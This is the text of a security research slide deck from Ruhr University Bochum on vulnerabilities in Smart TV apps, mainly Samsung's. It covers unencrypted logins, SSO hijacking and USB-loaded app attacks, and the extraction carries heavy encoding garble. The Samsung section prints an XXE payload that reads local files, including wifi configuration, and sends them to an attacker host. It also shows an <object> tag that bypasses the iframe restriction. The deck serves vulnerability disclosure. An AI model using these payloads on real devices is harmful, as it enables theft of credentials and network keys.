Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj - PowerPoint PPT Presentation

Not ¡so ¡Smart: ¡On ¡Smart ¡TV ¡Apps ¡ ¡ Marcus ¡Niemietz , ¡Juraj ¡Somorvsky, ¡Chris;an ¡ Mainka, ¡Jörg ¡Schwenk ¡ {firstname.lastname}@rub.de ¡ ¡ Ruhr ¡University ¡Bochum ¡& ¡3curity ¡GmbH ¡

Table ¡of ¡Contents ¡ • Horst ¡Görtz ¡Ins;tute ¡for ¡IT ¡security ¡ • 3curity ¡GmbH: ¡Trainings, ¡Pentests ¡ • German ¡book ¡about ¡UI ¡redressing ¡ • Speaker ¡at ¡ ¡Black ¡Hat, ¡BlueHat, ¡ ¡ PHDays, ¡Zeronights, ¡OWASP, ¡... ¡ • TwiXer: ¡@mniemietz ¡ • mail@mniemietz.de ¡

Table ¡of ¡Contents ¡ 1. Introduc;on ¡& ¡Generaliza;on ¡ 2. Tested ¡Devices ¡ 3. AXacker ¡Model ¡ 4. Eavesdropping ¡AXtacks ¡ 5. Samsung: ¡AXached ¡Storage ¡and ¡Web ¡AXacks ¡ 6. Conclusions ¡

1. ¡Introduc;on ¡& ¡ ¡ Generaliza;on ¡

Introduc;on ¡ • “Years” ¡ago: ¡ ¡TVs ¡were ¡a ¡medium ¡to ¡watch ¡ news, ¡broadcasts, ¡documentaries, ¡or ¡ blockbusters ¡ • Smart ¡TV: ¡ TV ¡+ ¡computer ¡with ¡Internet ¡connec;on ¡

Introduc;on ¡ • Smart ¡TV ¡apps ¡ – Social ¡networks ¡like ¡Facebook ¡ – Streaming ¡services ¡like ¡Nealix ¡or ¡Watchever ¡ – Games ¡like ¡Angry ¡Birds ¡ – Browsing ¡websites ¡

Generaliza;on ¡ • Can ¡be ¡also ¡applied ¡to ¡different ¡scenarios ¡ beyond ¡Smart ¡TVs ¡ – Internet ¡connec;on ¡ – App ¡rendering ¡engine(s) ¡(e.g., ¡from ¡a ¡browser) ¡ – Installed ¡aXacker’s ¡app ¡ • „Internet ¡of ¡Things“ ¡is ¡nearly ¡everywhere ¡

2. ¡Tested ¡Devices ¡

Tested ¡Devices ¡

3. ¡AXacker ¡Model ¡

AXacker ¡Model ¡ • Eavesdropper ¡ – Sniffing ¡HTTP ¡traffic ¡ • AXached ¡Storage ¡AXacker ¡ – For ¡example ¡a ¡USB ¡flash ¡drive ¡ • Malware ¡AXacker ¡ – Device’s ¡app ¡store ¡or ¡aXacker ¡controlled ¡website ¡

4. ¡Eavesdropping ¡AXacks ¡

Eavesdropping ¡AXtacks ¡

Vulnerable ¡Login ¡Apps ¡ • Samsung ¡ – 25 ¡pre-­‑installed ¡ (WATCHEVER ¡v2.200, ¡ImmoScout24 ¡v1.010) ¡ – 31 ¡app ¡store ¡ ¡ (NewMoove ¡v2.2003, ¡Putpat ¡TV ¡v2.504) ¡ • Grundig ¡ – ¡34 ¡apps: ¡Facebook, ¡Ebay, ¡and ¡Viewster ¡ • Apple: ¡WATCHEVER, ¡Google ¡& ¡Amazon: ¡0 ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡ Wireshark ¡logs ¡ DeepSec ¡DEMO ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡ • „ScorecardResearch ¡... ¡market ¡research ¡ community, ¡a ¡leading ¡global ¡market ¡research ¡ effort ¡that ¡studies ¡and ¡reports ¡on ¡Internet ¡ trends ¡and ¡behavior. ¡ScorecardResearch ¡ conducts ¡research ¡by ¡collec;ng ¡Internet ¡web ¡ browsing ¡data ¡and ¡then ¡uses ¡that ¡data ¡to ¡help ¡ show ¡how ¡people ¡use ¡the ¡Internet, ¡what ¡they ¡ like ¡about ¡it, ¡and ¡what ¡they ¡don’t.“ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ Source: ¡www.scorecardresearch.com ¡

Samsung ¡SSO ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡ • Access ¡to ¡ – Samsung ¡GALAXY ¡Apps ¡ – Samsung ¡Link ¡ – Find ¡My ¡Mobile ¡ – Smart ¡Appliance ¡ – Samsung ¡e-­‑Store ¡ – PEN.UP ¡ – Samsung ¡Wallet, ¡S ¡Health, ¡Samsung ¡Cloud, ¡... ¡

5. ¡Samsung: ¡AXached ¡Storage ¡ ¡ and ¡Web ¡AXacks ¡

Samsung ¡Apps ¡ • Basically ¡just ¡a ¡normal ¡website ¡ ¡(HTML5, ¡CSS, ¡JavaScript) ¡ – config.xml – index.html – Op;onal ¡HTML, ¡CSS, ¡JS, ¡etc. ¡ • Can ¡be ¡loaded ¡from ¡a ¡USB ¡device ¡

Samsung ¡Apps ¡ • navigator.userAgent – Mozilla/5.0 ¡(SmartHub;SMART-­‑TV;U;Linux/ SmartTV+2014;Maple2012) ¡AppleWebKit/537.42+ ¡ (KHTML, ¡like ¡Gecko) ¡Smart ¡TV ¡Safari/537.42+ ¡

Samsung ¡Apps ¡ • document.location – file:///dtv/usb/sda1/UIR6_0.100_Europe_20150309/ index.html?country=D&language=17&lang=en-­‑ GB&modelid=14_X14_2D&server=opera;on&remoco n=0_650_259_22&area=PANEURO&product=0&mgrv er=6.1571& ssoid=foobar@example.org & ssopw=secr et &authtoken= MORE-­‑STUFF &all_ar;st=jennifer-­‑ lopez&x_ar;st=&video_content_type=vevotv&ns_st_ pr=Top10Now&realmodel=UE22H5600&networktype =0 ¡

Samsung ¡App ¡Bypass ¡ • <iframe> ¡ is ¡not ¡supported ¡in ¡the ¡app ¡context ¡ – Security ¡reasons? ¡ – Any ¡ideas ¡for ¡a ¡bypass? ¡

Samsung ¡App ¡Bypass ¡ • <iframe> ¡ is ¡not ¡supported ¡in ¡the ¡app ¡context ¡ • Thank ¡you ¡HTML! <object class= "iframelook" type="text/html" data="http:// www.attackers.org/tv" style="width: 100%; height:100%“>

Samsung ¡File ¡Browser ¡via ¡our ¡App ¡

Directory ¡lis;ng: ¡ file:///

App ¡Install ¡ • AXack ¡via ¡USB ¡flash ¡drive ¡ – XML ¡External ¡En;ty: ¡ Read ¡files ¡with ¡ one ¡line ¡automa;cally ¡ • /dtv/cm_version_name ¡ • /mtd_chmap/opera;ng_account_data ¡ – XMLHXpRequest: ¡ Read ¡ all ¡files ¡ by ¡ac;va;ng ¡the ¡app ¡ • /mtd_chmap/network/wpa_sta.conf ¡ • /mtd_pers/cookies ¡(FB ¡sends ¡data ¡to ¡South ¡Korea?) ¡

XXE ¡ • Config.xml ¡ <?xml ¡version="1.0" ¡encoding="UTF-­‑8"?> ¡ <!DOCTYPE ¡rooXag ¡[ ¡ <!ENTITY ¡% ¡ext ¡SYSTEM ¡"file:///mtd_chmap/…"> ¡ <!ENTITY ¡% ¡dtd ¡SYSTEM ¡"file:///dtv/usb/sda1/XXE/ aXacker.xml"> ¡ ¡ ¡ %dtd; ¡ ]> ¡ <widget ¡xmlns="hXp://www.samsung.com/"> ¡… ¡ • A,acker.xml ¡ <!ENTITY ¡% ¡all ¡"<!ENTITY ¡send ¡SYSTEM ¡'hXp:// www.aXacker.com/tv/?%ext;'>"> ¡ %all ¡

file:// • App ¡can ¡“access” ¡all ¡(?) ¡files ¡ – Wifi ¡data ¡(incl. ¡password) ¡ – Apps ¡Cookies ¡ ¡ – Local ¡Storage ¡(ZaXoo: ¡login ¡data) ¡ – SSO ¡username ¡ (one ¡line) ¡ – Browser ¡history ¡ – Common ¡user ¡inputs ¡ • FB ¡and ¡Samsung-­‑SSO ¡username/password ¡ – Par;al ¡webcam ¡access ¡

file:// & OAuth ¡ • OAuth ¡is ¡not ¡to ¡log ¡in ¡the ¡user ¡into ¡an ¡applica;on, ¡ but ¡to ¡grant ¡access ¡rights ¡on ¡specific ¡resources ¡to ¡ it ¡ • We ¡have ¡Samsung‘s ¡Facebook ¡Connect ¡ API-­‑Key ¡ and ¡ apiSecret ¡ – We ¡can ¡make ¡a ¡spoofed ¡client ¡ – We ¡cannot ¡get ¡user ¡creden;als ¡ • Proof? ¡

file:// & OAuth ¡ • Only ¡at ¡the ¡conference, ¡sorry! ¡

file:// & OAuth ¡

file:// & OAuth ¡

Just ¡saying ¡... ¡ • A ¡never ¡ending ¡story? ¡ – Leaking ¡data ¡is ¡not ¡new ¡ • Samsung ¡SmartTV ¡customers ¡warned ¡personal ¡ conversa;ons ¡may ¡be ¡recorded ¡(hXp://is.gd/Wxq2oy) ¡ • Read ¡It ¡Twice! ¡A ¡mass-­‑storage-­‑based ¡TOCTTOU ¡aXack ¡ (hXp://is.gd/VLC0yE) ¡ – Leaking ¡creden;als ¡without ¡any ¡aXack ¡is ¡new ¡

Just ¡saying ¡... ¡ • Our ¡research ¡was ¡covered ¡by ¡the ¡German ¡ media ¡(Heise, ¡Golem, ¡WDR, ¡and ¡ORF) ¡ – What ¡happens? ¡ • Consumer ¡advice ¡centre ¡of ¡NRW ¡(Germany) ¡ hXps://www.vz-­‑nrw.de/klage-­‑gegen-­‑samsung ¡

Samsung ¡Smart ¡TV ¡Bug ¡Bounty ¡

Samsung ¡TV ¡Bounty ¡ • �“The ¡bugs ¡that ¡are ¡eligible ¡will ¡be ¡payed ¡ according ¡to ¡the ¡site ¡policy: ¡ – we ¡reward ¡only ¡unknown ¡and ¡unreported ¡issues ¡ on ¡TV/Blueray ¡models ¡from ¡E-­‑Series ¡and ¡above ¡ (2012 ¡to ¡2015). ¡ – you ¡agree ¡not ¡to ¡disclose ¡the ¡vulnerabili;es ¡to ¡3rd ¡ par;es ¡without ¡our ¡agreement ¡(we ¡can ¡agree ¡on ¡a ¡ publica;on ¡date ¡axer ¡the ¡security ¡patches ¡are ¡ deployed)“ ¡

6. ¡Conclusions ¡